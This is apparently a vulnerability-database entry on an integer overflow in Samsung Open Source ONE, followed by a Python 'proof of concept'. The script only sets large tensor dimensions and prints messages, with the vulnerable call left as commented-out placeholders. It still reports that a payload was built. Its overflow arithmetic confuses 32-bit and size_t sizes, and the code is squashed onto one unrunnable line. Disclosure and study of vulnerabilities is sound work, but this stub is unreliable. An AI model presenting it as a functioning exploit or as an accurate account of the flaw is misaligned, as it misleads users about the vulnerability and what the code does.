CVE-2026-40450 Samsung Open Source ONE 整数溢出漏洞

import numpy as np # Conceptual PoC for Integer Overflow in Tensor Copy Size Calculation # Target: Samsung Open Source ONE (prior to commit 1.30.0) def trigger_overflow(): # Attempt to create dimensions that cause size calculation to overflow # Example: max 32-bit int is 2147483647. # If we calculate dim1 * dim2 * element_size, it wraps around. # Simulating a large tensor dimension that causes overflow in size_t calculation # Assuming the vulnerability occurs in C++ backend logic handling tensor copying dimensions = [0x10000, 0x10000, 0x10000] # 0x10000 * 0x10000 * 0x10000 = 2^48, which overflows a 32-bit signed integer print("[*] Attempting to allocate/copy tensor with dimensions causing integer overflow...") try: # In a real scenario, this would be passed to the vulnerable ONE API # payload = malicious_tensor_data # vulnerable_api_copy_function(payload) print("[+] Payload constructed. If vulnerable, memory corruption occurs during copy.") except Exception as e: print(f"[-] Exception occurred: {e}") if __name__ == "__main__": trigger_overflow()